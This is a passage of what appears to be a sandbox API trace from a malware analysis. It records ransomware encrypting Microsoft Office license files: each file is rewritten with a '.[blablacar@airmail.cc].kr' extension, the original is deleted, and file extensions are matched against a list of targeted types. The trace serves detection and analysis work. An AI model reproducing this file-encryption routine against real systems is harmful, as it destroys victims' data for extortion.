"c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0211.092] GetLastError () returned 0x0 [0211.092] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4dd9, lpOverlapped=0x0) returned 1 [0211.281] WriteFile (in: hFile=0x3ec, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0211.282] ReadFile (in: hFile=0x578, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.282] WriteFile (in: hFile=0x3ec, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10e, lpOverlapped=0x0) returned 1 [0211.282] SetEndOfFile (hFile=0x3ec) returned 1 [0211.283] CloseHandle (hObject=0x3ec) returned 1 [0211.283] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.283] SetEndOfFile (hFile=0x578) returned 1 [0211.290] CloseHandle (hObject=0x578) returned 1 [0211.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms")) returned 1 [0211.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.294] lstrlenW (lpString=".doc") returned 4 [0211.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString=".docx") returned 5 [0211.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.294] lstrlenW (lpString=".pdf") returned 4 [0211.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString=".xls") returned 4 [0211.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString=".xlsx") returned 5 [0211.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.294] lstrlenW (lpString=".ppt") returned 4 [0211.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.294] lstrlenW (lpString=".zip") returned 4 [0211.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString=".rar") returned 4 [0211.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString=".bz2") returned 4 [0211.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString=".7z") returned 3 [0211.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.294] lstrlenW (lpString=".dbf") returned 4 [0211.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.294] lstrlenW (lpString=".1cd") returned 4 [0211.294] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.295] lstrlenW (lpString=".jpg") returned 4 [0211.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.295] lstrlenW (lpString=".doc") returned 4 [0211.295] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString=".docx") returned 5 [0211.295] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.295] lstrlenW (lpString=".pdf") returned 4 [0211.295] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString=".xls") returned 4 [0211.295] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString=".xlsx") returned 5 [0211.295] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.295] lstrlenW (lpString=".ppt") returned 4 [0211.295] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.295] lstrlenW (lpString=".zip") returned 4 [0211.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString=".rar") returned 4 [0211.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString=".bz2") returned 4 [0211.295] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString=".7z") returned 3 [0211.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.295] lstrlenW (lpString=".dbf") returned 4 [0211.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.295] lstrlenW (lpString=".1cd") returned 4 [0211.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79 [0211.296] lstrlenW (lpString=".jpg") returned 4 [0211.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.296] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.296] lstrlenW (lpString="OutlookVL_MAK-pl.xrm-ms") returned 23 [0211.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.299] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10627) returned 1 [0211.299] CloseHandle (hObject=0x51c) returned 1 [0211.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms")) returned 0x220 [0211.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.302] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.302] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.305] GetLastError () returned 0x0 [0211.305] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2983, lpOverlapped=0x0) returned 1 [0211.307] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2990, lpOverlapped=0x0) returned 1 [0211.308] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.308] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x102, lpOverlapped=0x0) returned 1 [0211.308] SetEndOfFile (hFile=0x564) returned 1 [0211.318] CloseHandle (hObject=0x564) returned 1 [0211.319] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.319] SetEndOfFile (hFile=0x51c) returned 1 [0211.339] CloseHandle (hObject=0x51c) returned 1 [0211.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms")) returned 1 [0211.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.583] lstrlenW (lpString=".doc") returned 4 [0211.583] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.583] lstrlenW (lpString=".docx") returned 5 [0211.584] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.584] lstrlenW (lpString=".pdf") returned 4 [0211.584] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString=".xls") returned 4 [0211.584] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString=".xlsx") returned 5 [0211.584] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.584] lstrlenW (lpString=".ppt") returned 4 [0211.584] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.584] lstrlenW (lpString=".zip") returned 4 [0211.584] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString=".rar") returned 4 [0211.584] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString=".bz2") returned 4 [0211.584] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString=".7z") returned 3 [0211.584] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.584] lstrlenW (lpString=".dbf") returned 4 [0211.584] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.584] lstrlenW (lpString=".1cd") returned 4 [0211.584] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.584] lstrlenW (lpString=".jpg") returned 4 [0211.584] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.584] lstrlenW (lpString=".doc") returned 4 [0211.584] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.584] lstrlenW (lpString=".docx") returned 5 [0211.585] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.585] lstrlenW (lpString=".pdf") returned 4 [0211.585] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString=".xls") returned 4 [0211.585] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString=".xlsx") returned 5 [0211.585] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.585] lstrlenW (lpString=".ppt") returned 4 [0211.585] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.585] lstrlenW (lpString=".zip") returned 4 [0211.585] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString=".rar") returned 4 [0211.585] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString=".bz2") returned 4 [0211.585] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString=".7z") returned 3 [0211.585] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.585] lstrlenW (lpString=".dbf") returned 4 [0211.585] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.585] lstrlenW (lpString=".1cd") returned 4 [0211.585] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0211.585] lstrlenW (lpString=".jpg") returned 4 [0211.585] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.585] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.585] lstrlenW (lpString="PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 39 [0211.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.586] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=21125) returned 1 [0211.586] CloseHandle (hObject=0x38c) returned 1 [0211.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0211.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.587] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.587] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.588] GetLastError () returned 0x0 [0211.588] ReadFile (in: hFile=0x38c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5285, lpOverlapped=0x0) returned 1 [0211.590] WriteFile (in: hFile=0x56c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5290, lpOverlapped=0x0) returned 1 [0211.591] ReadFile (in: hFile=0x38c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.591] WriteFile (in: hFile=0x56c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x122, lpOverlapped=0x0) returned 1 [0211.591] SetEndOfFile (hFile=0x56c) returned 1 [0211.592] CloseHandle (hObject=0x56c) returned 1 [0211.592] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.592] SetEndOfFile (hFile=0x38c) returned 1 [0211.595] CloseHandle (hObject=0x38c) returned 1 [0211.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0211.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.596] lstrlenW (lpString=".doc") returned 4 [0211.596] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.596] lstrlenW (lpString=".docx") returned 5 [0211.596] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.596] lstrlenW (lpString=".pdf") returned 4 [0211.596] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.596] lstrlenW (lpString=".xls") returned 4 [0211.596] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.596] lstrlenW (lpString=".xlsx") returned 5 [0211.596] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.596] lstrlenW (lpString=".ppt") returned 4 [0211.596] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.596] lstrlenW (lpString=".zip") returned 4 [0211.596] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.596] lstrlenW (lpString=".rar") returned 4 [0211.596] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.596] lstrlenW (lpString=".bz2") returned 4 [0211.596] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.596] lstrlenW (lpString=".7z") returned 3 [0211.596] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.597] lstrlenW (lpString=".dbf") returned 4 [0211.597] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.597] lstrlenW (lpString=".1cd") returned 4 [0211.597] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.597] lstrlenW (lpString=".jpg") returned 4 [0211.597] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.597] lstrlenW (lpString=".doc") returned 4 [0211.597] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString=".docx") returned 5 [0211.597] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.597] lstrlenW (lpString=".pdf") returned 4 [0211.597] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString=".xls") returned 4 [0211.597] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString=".xlsx") returned 5 [0211.597] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.597] lstrlenW (lpString=".ppt") returned 4 [0211.597] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.597] lstrlenW (lpString=".zip") returned 4 [0211.597] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString=".rar") returned 4 [0211.597] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString=".bz2") returned 4 [0211.597] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.597] lstrlenW (lpString=".7z") returned 3 [0211.597] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.598] lstrlenW (lpString=".dbf") returned 4 [0211.598] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.598] lstrlenW (lpString=".1cd") returned 4 [0211.598] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0211.598] lstrlenW (lpString=".jpg") returned 4 [0211.598] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.598] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.598] lstrlenW (lpString="PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 42 [0211.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.599] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11654) returned 1 [0211.599] CloseHandle (hObject=0x38c) returned 1 [0211.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0211.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 